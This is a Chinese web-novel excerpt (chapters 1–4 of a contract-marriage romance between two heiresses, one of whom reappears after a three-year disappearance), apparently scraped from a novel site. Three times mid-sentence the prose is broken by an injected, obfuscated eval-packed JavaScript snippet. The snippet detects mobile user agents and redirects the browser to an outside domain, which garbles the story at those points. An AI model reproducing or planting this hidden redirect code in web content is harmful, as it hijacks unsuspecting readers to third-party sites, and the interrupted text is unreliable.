《协议结婚的妻子不想离》 1. 第1章 初春,榕城还有些冷。 市中心繁华喧闹的商业街,其中一家高定礼服店。 玻璃幕墙将倒春寒阻隔在外,陆言卿指尖在手机相册第七张照片边缘悬停,相亲对象的面容都嵌在世家千金的模板里——柳叶眉,杏仁眼,连唇角勾起的弧度都精致到极点。 “下个月董事会之前,你必须给我答复……” 祖父的语音在蓝牙耳机里沙沙作响,陆言卿摘了耳机搁在丝绒软垫上。 他是不反对她谈恋爱,但结婚对象必须门当户对。 突然走廊外传来一阵清脆的笑声。 陆言卿下意识抬头,下一瞬呼吸凝在喉咙——苏蔓,她的现任女友。 隔着双层玻璃,苏蔓正站在对面冰淇淋店前。 她棕褐色卷发被广告牌映得发蓝,手指抹过身旁女人嘴角时,衬衫上那枚鸢尾胸针闪着光——上周她们熬夜亲手做的。 “陆小姐,您的礼服改好了。” 店员的声音将陆言卿拉回现实,机械似的接过礼服袋,最终还是没能拿稳,深蓝布料从袋口滑出半截,冰凉面料蹭过虎口。 昨夜苏蔓还伏在她膝头,说要在周年庆穿着这条裙子跳舞。 此刻广告屏切换成钻戒广告,苏蔓新欢的红底高跟鞋,正踩在她们养的布偶猫投影上。 手机在掌心隐隐发烫,置顶对话框最新消息停留在两小时前,是苏蔓发来的。 【今晚去BlueNote尝尝你喜欢的舒芙蕾】 并配有一张布偶猫在楼下公园晒太阳的照片。 “领口星月绣纹要改。” 陆言卿眼睫微颤,听见自己过分平稳的声线,指甲在改衣单压出月牙痕,“换成……” 突然间说不下去了,因为改衣单右下角客户签名处的字迹龙飞凤舞,正是苏蔓三个月前学习的英文花体。 店门风铃突然炸响,冷风扑进来。 陆言卿将礼服袋放在柜台:“不必改了。” 她放下纸袋转身就走,礼服从袋中滑落,亮片在空气中闪了一下,掉在防尘罩上。 几分钟后,陆言卿回到车上。 车里的香薰还是苏蔓喜欢的味道,余光扫过后视镜上挂着的雪花水晶吊坠。 这是去年初雪时苏蔓挂上去的,此刻随着引擎震动微微摇晃。 “开始一段新感情前,不该先跟我分手吗?” 最终陆言卿还是拨通了苏蔓的电话,等那头的人接通,想到刚才所见的画面,对着车载电话轻笑,指腹摩挲方向盘真皮纹路。 后视镜映出她完美的微笑,连愤怒都优雅得体。 听筒里传来咖啡杯磕碰的脆响,苏蔓的呼吸明显乱了几拍:【卿卿你误会了,邹小姐只是合作方......】 陆言卿打断对方:“不用解释,我们到此为止。” - 当晚八点,BlueNote的爵士乐裹着舒芙蕾的甜腻弥漫在卡座间。 钟晚意将舒芙蕾推过来时,瓷盘边缘挂着水珠。 突然得知陆言卿和苏蔓分手的消息,她确实有点意外,这两人交往才半年? 却识趣什么都没说。 毕竟陆言卿的脸色看起来很不好。 酒过三巡,钟晚意戳了戳陆言卿的胳膊,指着茶几上的手机说:“陆爷爷电话第三轮轰炸了。” 陆言卿今晚很安静,明明嘴角勾着温柔的笑,然给人生人勿近的即视感,钟晚意带过来的两位朋友不算生面孔,大家都是一个圈子也还算熟悉。 换做平日,她们早上前跟陆言卿交谈了,今晚却迟迟未动。 陆言卿磨挲着酒杯杯壁,好一会儿才拿起玻璃茶几上的手机,屏幕亮起,上面未接来电显示的红点刺目,上方突然弹出一条最新消息,内容简明扼要:【继承人不止你一个】。 “陆爷爷又拿继承权威胁你?” 钟晚意无意间瞥见内容,眉心微微蹙起。 霓虹灯在酒液里扭曲成怪异的光。 陆言卿想起董事会上堂兄得意的笑,又想起今早秘书送来的谢氏财报——资金链断裂的缺口红得刺眼。 “听说谢家那个养女……” 钟晚意蘸着酒水在桌面画圈,“叫谢思虞的,暗恋一个人好多年。要不是谢氏资金链要断,她也不会被推出来联姻。” “没准儿人家比你更委屈呢。” 陆言卿望着杯中晃动的霓虹出神。 玻璃杯外壁凝着水珠滴落,她再次仰头喝尽杯中酒。 神差鬼使间脑海里闪过谢思虞的照片,几息后回拨了祖父的电话:“我答应联姻。” 此话一出,整个卡座寂静无声。 酒液滑过喉咙带来烧灼感,陆言卿看见钟晚意震惊地瞪大眼睛,瞳孔里映出自己的倒影——唇角带笑,多完美的一张面具,连好友都看不出痕迹。 - 一个礼拜后。 春雷碾过梧桐枝桠,陆言卿在"云栖"咖啡店门前驻足。 沉默片刻,终究还是拎着带有协议的托特包推开了咖啡店的门。 上午十点,咖啡店客人并不多,陆言卿几乎是一瞬就找到了谢思虞的身影。 她坐在绿植墙前的藤编椅上,正低头搅拌杯中的咖啡,奶白色针织衫滑落肩头,露出的一截瓷白的锁骨。 “谢小姐对协议条款还有异议吗?婚礼确定要取消?” 虽然是协议结婚,再者时间比较仓促,谢思虞提出省略婚礼,但该给她的补偿,陆言卿更喜欢落实到白纸黑字。 坐在谢思虞对面,抽出文件时带落糖包,谢思虞俯身去捡,闻到了若有若无的橙花香。 “婚礼就不必了。” 谢思虞将糖包推回,声线温柔,“既然陆小姐提出协议结婚,三年后便离,到时候娶嫁各不干涉,那举不举办婚礼,重要吗?” 陆言卿哑然,端起手边的柠檬水浅浅抿了一口,落地窗外的紫藤花架在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278661|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨中摇晃,收回视线注意到谢思虞耳朵上的珍珠耳坠。 “双方需配合出席彼此的家族聚会。” 雨势渐大,陆言卿在补充条款里添上“配合必要的家族社交”,笔尖却悬在“妻妻义务”四个字上迟迟未落。 “包括端午节,中秋节这样的家宴?” 谢思虞轻笑,指尖抚过协议边缘。 陆言卿正要回答,谢思虞的手机突然震动。 锁屏亮起的瞬间,她瞥见一张模糊的照片,还仅仅是背影。 女生穿着蓝色校服,扎着马尾。 “抱歉。” 谢思虞没有接听电话,迅速熄屏,但她搅拌咖啡的节奏却乱了几分,银匙在杯底刮出刺耳的声音。 “端午中秋这样的节日,如果有特殊原因,再另说。” 陆言卿没有把话说的太死,恍然想起那晚钟晚意在BlueNote说的话。 那张锁屏壁纸上的女生,就是谢思虞暗恋多年的对象? 两人又聊了协议上的细节,陆言卿确定谢思虞愿意联姻,这才签字把协议递过去:“谢小姐确定不再补充内容,便签字吧。” 下一秒谢思虞伸手来接协议,指尖擦过她的肌肤,温度比春雨还凉。 一个小时后。 走出咖啡店时雨势渐歇,陆言卿在停车场看见熟悉的车牌,苏蔓的红色跑车此刻就停在角落里。 她收回视线,坐近驾驶座。 这时手机屏幕上弹出榕城最新热门话题——谢氏官网发布了和陆氏联姻的消息。 照片里的谢思虞站在谢宅蔷薇架下,唇角含笑,端庄又优雅。 陆言卿放大图片时,发现她耳垂果然空荡荡的,因为那枚珍珠耳坠此刻正在她包里。 几乎是同一时间,祖父发来新消息:【明早带人来老宅】。 锁屏界面显示13:07,布偶猫的喂食提醒准时弹出,而微信上苏蔓的未读消息已经累积到99+。 陆言卿耐着性子将提醒事项里的内容全部删除,并拉黑苏蔓的所有联系方式。 紧接着启动引擎离开停车场,顺便降下车窗,让潮湿的风灌进来。 后视镜里,那辆红色的跑车渐行渐远,直到彻底消失在她的视线范围。 - 领证次日晨雾未散,陆言卿在榕城国际机场贵宾室核对并购案的条款。 不经意瞥见右手无名指上的婚戒,那是谢思虞领证后给她戴上的,金属内壁「LYQ&XSY3.21」的刻痕沁着体温。 登机广播响起,陆言卿起身前往登机口。 半个小时后,舷窗外积雨云翻涌如泼墨,空乘递来的质地柔软的毛毯:“陆小姐您要的毛毯,祝您旅途愉快,有事随时联系我们。” “谢谢。” 接过毛毯盖在腿上,机舱广播里突然发出刺耳的电流声,陆言卿最后的记忆是飞机剧烈颠簸,然再次睁开眼睛,却发现自己躺在公寓的沙发上。 2. 第2章 陆言卿被晨光刺醒,下意识伸手去摸手腕上的手表——这是谢思虞作为新婚礼物送给她的,表盘内侧还刻着“LYQ”缩写。 2024年1月17日。 机械腕表的滴答声碾过耳膜时,陆言卿恍惚看见民政局台阶上的雨痕。 领证手续办完后她就接到助理电话,说W国那边何教授回复她了,希望能早日见面。 害怕耽误工作,又怕何教授临时有其他事,第二天她就坐上了飞往W国的航班。 她和谢思虞甚至没来得及搬进婚房。 陆言卿赤脚踩过地暖加热的橡木地板,发现自己的公寓成了精致漂亮的样板间,干净,整洁。 口渴打开冰箱,保鲜层排列着新鲜日期的酸奶,生产日期竟是上周,保质期贴纸上印着防伪二维码——这是三年前尚未启用的新技术。 她忽然想起谢思虞签协议时说的话:“我不喜欢改变别人的生活习惯。” 三年前她随口提过的希腊酸奶品牌,如今就放在她公寓的冰箱里,还是新鲜的日期。 陆言卿神情复杂,拧开矿泉水瓶的盖子,喝了好几口水,才亦步亦趋走向主卧。 果不其然,衣帽间也焕然一新,除了她原本的衣服,还多了未拆封的睡衣,连衣裙,西装外套等,吊牌日期刺得她太阳穴突突作痛。 领证后她给了谢思虞一把公寓的钥匙,所以这些东西都是她安排的? 陆言卿眼睫微颤,从外套口袋里摸出手机,不知何时关的机。 开机发现微信无法使用,页面提示版本过低,需要更新,等她连接上公寓的网络,手机系统也需要更新…… 陆言卿一时无言,暂时关闭网络,手机通讯录里“爷爷”的号码仍停留在首位,拨号音只响半声就被接起。 “大小姐?” 管家李伯开口嗓音带着哽咽,“您..……您总算联系家里人了,您现在在哪里?” “我在自己的公寓。” 陆言卿摩挲着矿泉水瓶外壁冷凝的水珠,内心莫名害怕,声线有些颤抖,“爷爷他……” 莫名跨越三年的时空,她担心祖父的身体。 “陆老在二院VIP病房。” 李伯压低声音,大概是察觉到陆言卿的恐惧和担忧,没敢透露太多,避重就轻道,“他刚做完透析,现在睡下了。” 陆言卿的手指在手机边缘攥出白印,三年前她亲手挑选的窗帘此刻正在风中翻涌:“爷爷什么时候被检查出的尿毒症?情况严重吗?” “当初大小姐音信全无,哪怕谢小姐极力隐瞒,半年后陆老还是发现了。无法接受您失踪的事实,他突发脑梗被送往医院抢救,好在人是救回来了。” 李伯越说,声音愈发的颤抖,“尿毒症是一年前检查出来的,情况不严重,大小姐您还是先去陆氏见谢小姐吧。” 气氛突然凝重。 李伯安静如斯,好一会儿才继续:“谢小姐找了您三年,她……很担心您。” - 暴雨在正午时分席卷CBD。 陆言卿从公寓开车前往陆氏集团,半路上经过手机营业厅,刷卡买了当下最新款的手机,想要补缴话费,然而店员告诉她,卡内余额还有5位数。 还差十几分钟12点,陆言卿把车开进陆氏集团负二楼车库,乘坐电梯来到一楼大厅,这栋大厦的安保系统相比三年前有所升级,没有陆氏的员工卡,她没办法进入里面。 主动报出姓名,前台姑娘盯着她惊呼出声:“陆,陆总?” 陆言卿温柔地眨眨眼,赧然道:“对,是我,麻烦你通知陆氏的相关工作人员……” 不经意瞥见右侧咖啡厅里一抹雾蓝色身影,剩下的话没再继续。 那是比结婚登记照上更美艳动人的谢思虞。 柔顺微卷的长发及腰,穿着雾蓝色衬衫,黑色过膝的A字裙,仅是侧脸就美的惊心动魄。 虽然距离不算近,还是能看出她皮肤很白,身姿卓越,气质温软矜贵。 咖啡厅内,谢思虞用小银勺匀速搅动杯子里的蓝山咖啡,对面长发女人将企划书推过来。 “谢总是个聪明人,这是我们入驻的条件,商铺必须在入口右侧黄金眼位置。” 女人指尖点在市场分析页,「月桂芳」是全球知名的轻奢珠宝品牌,能入驻陆氏旗下双栖云境购物中心,结果只会是双赢。 谢思虞眉眼温柔,面对女人的压迫,淡定且从容:“章总,您说的区域现有租户「云裳」中式茶饮馆,合同还未到期。况且……” 忽然感受到有人注视,她抬眸看去,霎那间手中的银勺猛地落入杯中。 咖啡溅出,桌上狼藉,手背上也没能幸免。 章清月蹙眉,急忙站起身抽出盒中纸巾递给谢思虞,但她却没接。 好奇顺着谢思虞视线看过去,只见玻璃窗外的女人面容姣好,温婉又明媚。 尤其是那张脸,哪怕见过无数美人的她,还是不由自主被其吸引。 陆言卿扎着低马尾,米色风衣腰带松散地垂着,脸上画着淡淡的妆,双瞳剪水的眸子盛满了温柔,与三年前消失在登机口的背影完美重叠。 “陆言卿。” 谢思虞攥着浸透的桌布站起身,向来端庄大方的她第一次在大庭广众失态,嗓音透着愠怒,“舍得回来了?” “你这是在……相亲?” 陆言卿进入咖啡厅,视线在谢思虞和长相清丽的女人身上来回看,其实不怪她多想,睁开眼睛就跨越三年,谢思虞即便是找新欢,她也能理解。 可惜陆言卿还没等到解释,就见三年后的妻子从暴怒到眼眶绯红只用了三秒。 “我离婚了吗?我就相亲?” 谢思虞捏紧无名指上的婚戒,一瞬不瞬盯着眼前的女人。 陆言卿哑然,体贴给出建议:“那现在去民政局?” 紧接着在谢思虞温怒的目光中,摸出口袋里的结婚证,塑封膜还是崭新的。 谢思虞忽然笑起来,眼尾却泛着潮湿:“陆总好气魄,消失1099天还能这么理直气壮。” “抱歉章总,「月桂芳」入驻双栖云境的事我们改天再约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278662|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间详聊。” 谢思虞说完就攥着陆言卿的手腕往咖啡厅外走,“跟我来。” 其实陆言卿说完那两句话就后悔了,或许是她脑子还不够清醒。 没有挣脱谢思虞的手,乖乖跟着她往前走,感受到她冰凉的体温,卷翘长睫下眸光微闪。 章清月目送两人离开,手中纸巾被她揉成一团,微微眯起眼:“陆言卿?陆氏真正的大小姐。” 外界传言她不满和谢思虞的婚姻,直接躲到了国外。 如今看来,其中有不为人知的隐情? 五分钟后。 大厦32楼,陆氏集团总裁办公室。 陆言卿宛若做错事的孩子,乖巧地坐在沙发上,捧着秘书送进来的温白开,也没敢喝,等着谢思虞的雷霆怒火。 要是角色互换,谢思虞在领证第二天就消失整整三年,她怕是更愤怒。 隐约听到药板剥离的脆响,陆言卿稍稍歪头,只见距离她不到3米的办公桌方向。 谢思虞背对着她坐在办公椅上,从她的角度,只能看到其苍白的侧脸,三年后的谢思虞,比记忆中更瘦了。 她将白色药片放进嘴巴里,吞药的动作像吞咽刀片般难受。 上前想把温水递过去,又见谢思虞动作熟练用粉扑遮盖手腕内侧的留置针痕迹。 陆言卿脚下的步子猛然顿住。 谢思虞把粉饼盒放进包里,瞥了眼桌上止疼药,将其扔进抽屉,扣上衬衫手腕处的纽扣,转动办公椅看向陆言卿,眼底已然平静,“陆总应该不会再玩失踪吧?” “婚姻诈骗判多少年?或者我该问,陆总既然答应联姻,我们也签了三年协议,又为何销声匿迹?” 陆言卿嗅到空气中一抹极淡的苦橙花香,面对谢思虞的质问,她愧疚至极:“对不起,我……” “国内海关监控显示你确实登机了。” 谢思虞解锁平板推给陆言卿,屏幕冷光映出她眼下疲惫,“但落地W国监控里所有华国女性,身高误差不超过三厘米的都筛查过。” 视频进度条密密麻麻标注着红色记号,陆言卿看见无数个“疑似目标”被画上红叉,最后一个标记停在昨天深夜。 “这是我第二十七次看这些录像。” 谢思虞的指甲掐进掌心,“有时候觉得你被困在平流层的某片云里,有时候又怀疑……你就是故意躲着我。咳咳……” 她的声音突然被咳嗽截断。 “抱歉。” 陆言卿把温白开放在谢思虞面前:“喝口水吧。” 抬眸撞进对方潋滟的眸光中,苍白辩解,“我真的没有躲你,也不知道该如何解释,因为我自己也没搞清楚发生了什么。” “我只记得当时机舱广播里发出刺耳尖锐的电流声,再睁开眼就在自己公寓,时间还跨越了三年。” “该道歉的是我。” 谢思虞打断陆言卿的话,弯腰坐在办公椅里,扯出标准的商业微笑,“毕竟协议第三条写着『互不干涉彼此的私生活』。” 显然不相信陆言卿的说辞。 3. 第3章 办公室突然陷入诡异的寂静。 陆言卿看着谢思虞嘴角的浅笑,阳光穿过百叶窗在她侧脸切割出明暗线,睫毛投下的阴影里藏着青灰——那是长期熬夜的印记。 突然意识到对她而言一瞬的事,对谢思虞来说是一千多个日日夜夜。 扫过办公桌上推积如山的文件,陆言卿垂在身侧的手攥成了拳头,短暂沉默后,隔壁会议室传来激烈的争吵声,隐约能听出是商城品牌入驻的事情。 “谢思虞,突然销声匿迹三年,我很抱歉,无论是替我照顾爷爷,还是管理集团,都谢谢你。我会尽快熟悉公司正在接触的项目。” 担起责任。 陆氏集团是爷爷和其朋友辛苦打拼多年的成果,旗下主要经营双栖云境购物中心,如今集团在谢思虞的管理下,有没有增加新的业务板块,她尚且不清楚。 “当然,这些本来就是你分内之事。” 谢思虞疲惫地按了按眉心,习以为常翻开文件,袖口下滑露出纤细的手腕,哪怕留置针痕迹刻意遮掩过,还是能看出那处肌肤的不同。 “相比公司业务,我更好奇,稍后去二院看望陆爷爷,你准备怎么解释?说你在时空夹缝里做了场梦?” 陆言卿眉眼低垂,她的说辞,别说谢思虞,就是她自己都觉得荒唐至极。 可偏偏就发生了。 还能怎么办? 咕噜~ 原本气氛僵持的办公室,被一道不合时宜的声音打破。 陆言卿捂着饥肠辘辘的肚子,有点窘迫,看了眼手腕上的机械表,问谢思虞:“要不要先去吃午饭?” 原本谢思虞已经打开电脑准备处理紧急文件,突然听到咕噜声,抬眸撞进陆言卿略带羞赧的目光中,才注意到电脑右上角的时间。 12:18。 “去云膳坊?” 只是片刻谢思虞便关掉电脑,起身走到衣帽架前,拿下西服外套随意搭在臂弯里,往办公室门口走。 陆言卿后知后觉跟上:“好啊。” 电梯间。 不锈钢镜面倒映着两个疏离的身影。 陆言卿第7次偷瞥身旁人——谢思虞正通过手机回邮件,屏幕的冷光衬得她唇色更淡。 珍珠耳坠随电梯颤动轻晃,与三年前在咖啡店签协议时戴的是同款。 “叮——” 电梯在12层停下。 突然涌进的员工看清楚里面的人顿时像受惊的鱼群,在狭小空间里此起彼伏地倒抽冷气。 “陆总……您,您回国了?” 人事部老员工攥紧手中饭卡,目光在陆言卿和谢思虞交叠的衣摆间逡巡。 “嗯,今天刚到,想念云膳坊的鲜虾粥了,拉你们谢总一起。” 陆言卿微笑着回复,一边眼疾手快扶住踉跄的谢思虞,真真切切触碰到这人身体,才发觉掌心下的腰肢单薄得惊人,仿佛稍用力就会折断。 手机震动声在电梯里格外清晰。 陆言卿看着微信群疯狂刷新的消息气泡,突然意识到自己此刻的处境多么荒诞——所有人都在见证这场迟到了三年的“新婚”。 等两人离开,整栋楼都炸锅了,尤其是陆氏全体员工群内,短短几分钟,消息就99+ 【照片】 【照片】 【不是虚假消息,我在电梯里碰到了陆总,她真的回来了——】 【传言未必都是真的,也许陆总这三年真的在国外学习,或者秘密筹备海外并购案?陆总说带谢总去云膳坊吃午饭呢,她们两人走到一块真的好般配,简直比圈内明星还漂亮。】 【陆总回来,那谢总要让出集团CEO的位置?】 【市场部-小张都发出来了,还撤回?大家肯定都看到了。这个问题我也好奇,但这三年来我相当认可谢总的能力。】 【话说,陆总这次回来不会再走了吧?】 【……】 - 云膳坊,榕城有名的养生粥铺。 两人结婚三年,这还是第一次共进午餐。 陆言卿确实有点饿,这家粥铺她算是常客,直接点了两人份的香芹鲜虾粥,小炒牛肉和白灼菜心,菜单递给对面的谢思虞:“看看有没有想吃的菜?你太瘦了。” 不知何时已然雨过天晴,竹帘滤过的阳光在谢思虞睫毛上跳跃,她小口啜着柠檬水,听到陆言卿的话后,手里柠檬水在杯中荡漾了一圈,然很快又归于平静:“不用,我没什么胃口。” 陆言卿唇瓣轻抿没再说什么,菜单递给身侧的工作人员,让对方尽快上菜。 这里平时一楼顾客会多一些,二楼都是独立的包厢,环境清幽,当然价格也更贵。 陆言卿端起装有柠檬水的水壶,给谢思虞杯中加满,不经意问:“身体哪里不舒服?今天还要输液吗?” 谢思虞没想到陆言卿会问,沉默片刻半真半假的解释:“胃有点不舒服,不用输液了。” 恍惚间想起三天前医生给出的建议:胃溃疡,建议住院。 “西郊店双塔之间的悬浮绿化带建成了。” 谢思虞突然开口转移话题,指向窗外双子塔楼,“你当年画的通风管道设计图……” 尾音突然消散,她突然说不下去了。 陆言卿顺着谢思虞目光望去,她听到自己很轻很轻的声音:“改天你陪我去看看。” - 下午两点。 人民二院地下停车场,谢思虞拉住要下车的陆言卿:“你打算怎么跟爷爷说你失踪三年的事?” 陆言卿无奈:“实话实话啊。” 谢思虞眉眼凝重,盯着陆言卿看了许久,从后排拿过平板电脑,纤细的指尖在屏幕上轻点,很快打开一份文档。 “你可以先看看陆爷爷这三年来的身体情况,再考虑要不要坦白?” 她内心深处不相信陆言卿的“实话”,可这三年她派遣去国外寻找的人,将W国,甚至周边几个国家都找遍了,并没有陆言卿的身影。 或许,如她所说,真的……睁开眼睛就到了三年后。 陆言卿重新坐回副驾驶,将车门带上,接过谢思虞递过来的平板,仔细浏览她消失三年来爷爷的过往病例资料。 原来在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278663|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她消失半年后,爷爷就中风入院,幸好抢救及时,没能酿成大祸。 一年后血压持续居高不下,在医院住院将近一个月。 两年后检查出尿毒症,因发现的早还能控制,目前每个周需要定期做透析。 总之这三年老爷子身体每况愈下,如今更是受不住任何刺激。 陆言卿扣着平板金属边框,突然想到一件重要的事,抬眸看向谢思虞:“三年前我们签订的协议,如今还剩多少时间?” 谢思虞避开陆言卿的视线,扭头看向车窗外,吸了口气又缓缓吐出,嗓音微涩:“两个月零5天。” - 二院住院部3楼301VIP病房。 消毒水味被窗边的白兰花冲淡些许,陆老爷子从管家李伯口中得知孙女陆言卿回国的消息,枯槁的手死死攥住床单,明显是要挣扎着起身。 监护仪发出尖锐的声响,谢思虞正和陆言卿走到门口。 “爷爷……是我,陆言卿,你的卿卿回来了。” 老爷子猛烈的咳嗽声刺的她浑身一怔,陆言卿大步流星跑向病床。 “卿……卿卿?” 老人看到面前熟悉的孙女,输液管随着他抬手的动作剧烈摇晃,“你这孩子……你这孩子!” 陆言卿记忆中永远腰背笔挺的爷爷,此刻像片风干的枯叶蜷在病床上,右半边身体不自然地佝偻着。 “对不起,让您担心了,我……” 话未说完就被老爷子打断,他竟挣扎着要下床,不顾回血的针头,用力抓住孙女的手腕,“三年!你知道小虞是怎么撑过来的吗!” 他抓起枕边的财报摔过去,纸张擦过陆言卿额角,“新婚第二天就逃到国外!你怎么对得起……” “陆爷爷!” 谢思虞突然提高声调,指尖不着痕迹关掉输液管开关,“刘主任说过您不能太激动。” 扶住老人颤抖的肩膀。 陆言卿看着飘落脚边的财报,2021年陆氏第三季度报表被她用红笔圈出风险项,当时老爷子还说最后一个季度的任务交给她来完成。 喉咙哽咽,然而想要说的话被谢思虞抢先。 “是我不让言卿联系家里的。” 谢思虞用湿巾擦拭老人手背,声音浸着蜂蜜般的温柔,“当时海外并购案需要绝对保密。” 她抬眼看向陆言卿,眸光坚定,“对吧?” 陆言卿胸口跟堵着异物似的难受,闷闷应下:“嗯。” 那些在飞机上突然穿越时空的借口,此刻被谢思虞织成天衣无缝的谎言。 她突然想起领证那日,这人也曾用同样温柔的语气对公证人说“我愿意”,仿佛她们是相爱多年的眷侣。 “过来!” 陆老突然抓住两人手腕强行交叠。 陆言卿注意到谢思虞无名指根处有一圈淡白——那是长期佩戴戒指的痕迹,而她自己的指节却光洁如新。 陆老感觉到疲惫,原来是李伯叫来护士给老人家打的镇定剂开始发挥作用。 祖父昏睡前的呢喃像记闷棍:“今后你们要好好过……” 4. 第4章 春寒料峭,风吹在脸上还有些冷,医院楼下花坛里金边万年青枝繁叶茂,绿意盎然。 “演技不错。” 陆言卿和谢思虞并排着往前走,编织的谎言也不知道老爷子有没有信,说一个谎要用无数个谎言来圆,且总有被拆穿的一天,“刚才那些话……” “我们每个周日来医院看望陆爷爷。” 谢思虞停下脚步,侧过身看着陆言卿,双手背在身后,无意识摩挲无名指上的婚戒,“要牵着手进入病房,每周发三张合照给他。” 她突然勾起唇角,眼底却好似凝着化不开的雾,“陆总既然决定延长婚约,就请你务必做到协议上的内容。” 草坪传来孩童嬉闹声。 陆言卿望着谢思虞被风扬起的发丝,恍惚间好像看见三年前咖啡店里的场景——当时的她也是这般“善解人意”? “为什么要帮我隐瞒?” 她们这场商业联姻,怎么看都是谢思虞吃亏,而她决定延长婚约,也是因为祖父身体不堪重负。 原本,她以为谢思虞会拒绝的。 谢思虞撩了撩耳边被风吹乱的发丝,嗓音中带着某种难以言说的隐忍:“就当是……” 喉间滚动着未尽之言,“……给爷爷编个童话。” 陆言卿总觉得谢思虞话里有话。 仔细想想又觉得她说的没错,祖父今年82岁高龄,身体也大不如从前,生命中最后的时光,自然是开心更重要。 - 西郊店有铺面空出来,轻奢珠宝「月桂芳」想要入驻商城,但提出的条件近乎苛刻,市场部和销售部连续一个礼拜都在为这件事争吵。 既然要履行协议,自然不可能分开住,陆言卿又不想一个人回婚房,索性跟着谢思虞再次回到公司。 总裁办。 陆言卿摩挲着新手机——和谢思虞是同款,连壁纸都是默认的星空图。 “真装了定位?” 她故意晃了晃手机。 谢思虞从文件中抬头,眼神温柔也带着坦然:“对。” 陆言卿无言以对,反倒是被谢思虞坦荡的目光盯着浑身不自在,拿着两部手机来到沙发区坐下。 捣鼓半天,等待信息传输到新的手机。 “刚你在楼下咖啡厅见的品牌方是?” 干坐着真的无聊,陆言卿踌躇半晌还是来到办公桌前,拉过一旁的椅子坐下。 今后她和谢思虞相处的日子很多,总要适应。 谢思虞闻言,放下手中的钢笔,从一推文件中找到「月桂芳」入驻双栖云境的相关资料:“「月桂芳」亚太地区的总负责人章清月章总要求店铺在商城入口的黄金眼位置,但那个位置目前有租户,合同还剩两年。” 陆言卿也不客气,接过资料就开始翻阅:“是「云裳」中式茶饮馆吧?我记得茶饮馆月流水稳定在120万左右,主打二十四节气茶点。” 当然,她说的是三年前茶馆的营销数据。 谢思虞等陆言卿翻到第2页资料时,一只手摁住纸张边缘,另一只手握着钢笔在茶饮馆上半年月流水处画出横线,一副公事公办的口吻:“如果茶饮馆这一年来上交的数据真实,那他们的营业额确实呈下降趋势。” “「月桂芳」是全球知名的轻奢珠宝品牌,入驻双栖云境,肯定会带来可观的收益。” 陆言卿目光落在谢思虞用钢笔圈的数据上,也明白她的顾虑,「云裳」是陆氏多年的老客户,他们的合同还未到期,如果提前解约,不仅伤了和气,公司还要一次性赔偿「云裳」三倍的月流水。 “胃难受就不要喝咖啡了吧?” 短短十几分钟里,陆言卿见谢思虞喝了好几次咖啡,想到这人因胃难受去医院吊水,手腕内侧还留有留置针痕迹,今天中午在云膳坊也只喝了小半碗鲜虾粥,终究没能忍住开了口。 谢思虞挑眉看向陆言卿,手指磨挲陶瓷杯的外壁,沉默着没说话。 “抱歉,我不是要管你的意思,就是觉得胃不舒服再喝咖啡……算了,你当我没说。” 陆言卿也不是第一次关心别人,但她和谢思虞的关系着实有点特殊。 虽然她们结婚快三年,可于她而言,如今还是新婚。 真的一点都……不熟。 再待下去也尴尬,索性去外面透透气,秘书部成员相比三年前,也有微妙的变化。 然她刚站起身,就听到谢思虞温和的声音:“那麻烦陆总帮我换成牛奶。” - 茶水间。 陆言卿将装过咖啡的陶瓷杯反复涮洗了三遍,嗅了嗅发现还是有味道,决定重新换个杯子。 正当她打开储物柜的门,一只晶莹剔透的玻璃杯映入眼帘,秘书刘瑶解释:“陆总,用这个玻璃杯吧,可以用微波炉加热,是采购部昨天刚送上来的。” “谢谢。” 陆言卿接过玻璃杯,重新打开水龙头冲洗,用纸巾擦干后才把牛奶倒入里面,放入微波炉加热,设置时间三分钟。 擦干净手上的水渍,陆言卿把纸巾揉成一团,不经意问刘瑶:“谢总……经常胃不舒服吗?” 之前在办公室见谢思虞吞药片,应该就是治胃疼的药? 刘瑶整理茶包的手顿了顿:“前几天我陪谢总出外勤,她在车上疼的昏过去,我送她去医院,报告显示是胃溃疡,医生建议住院。” 说完停顿了下,复杂的目光看向陆言卿,才缓缓说出下面的话,“但谢总每天只是抽空闲时间去医院吊水。” 那天谢思虞会诊时,她就站在门口,亲耳听到她跟医生描述:上腹疼痛,偶尔会反酸,再者就是食欲减退。 “去年年会。” 刘瑶突然压低声音,“谢总在致辞时晕倒,送到医院才发现胃出血。” 三年前陆言卿“出国”,谢思虞提拔她作为她的特别助理,原本这些话不应该她来说,可她跟在谢思虞身边这些年,真的替她委屈。 作为一个外人,她都心疼。 茶水间没有第三个人,刘瑶重重地吐出一口气,做了件逾越的事情。 打开手机相册,翻找 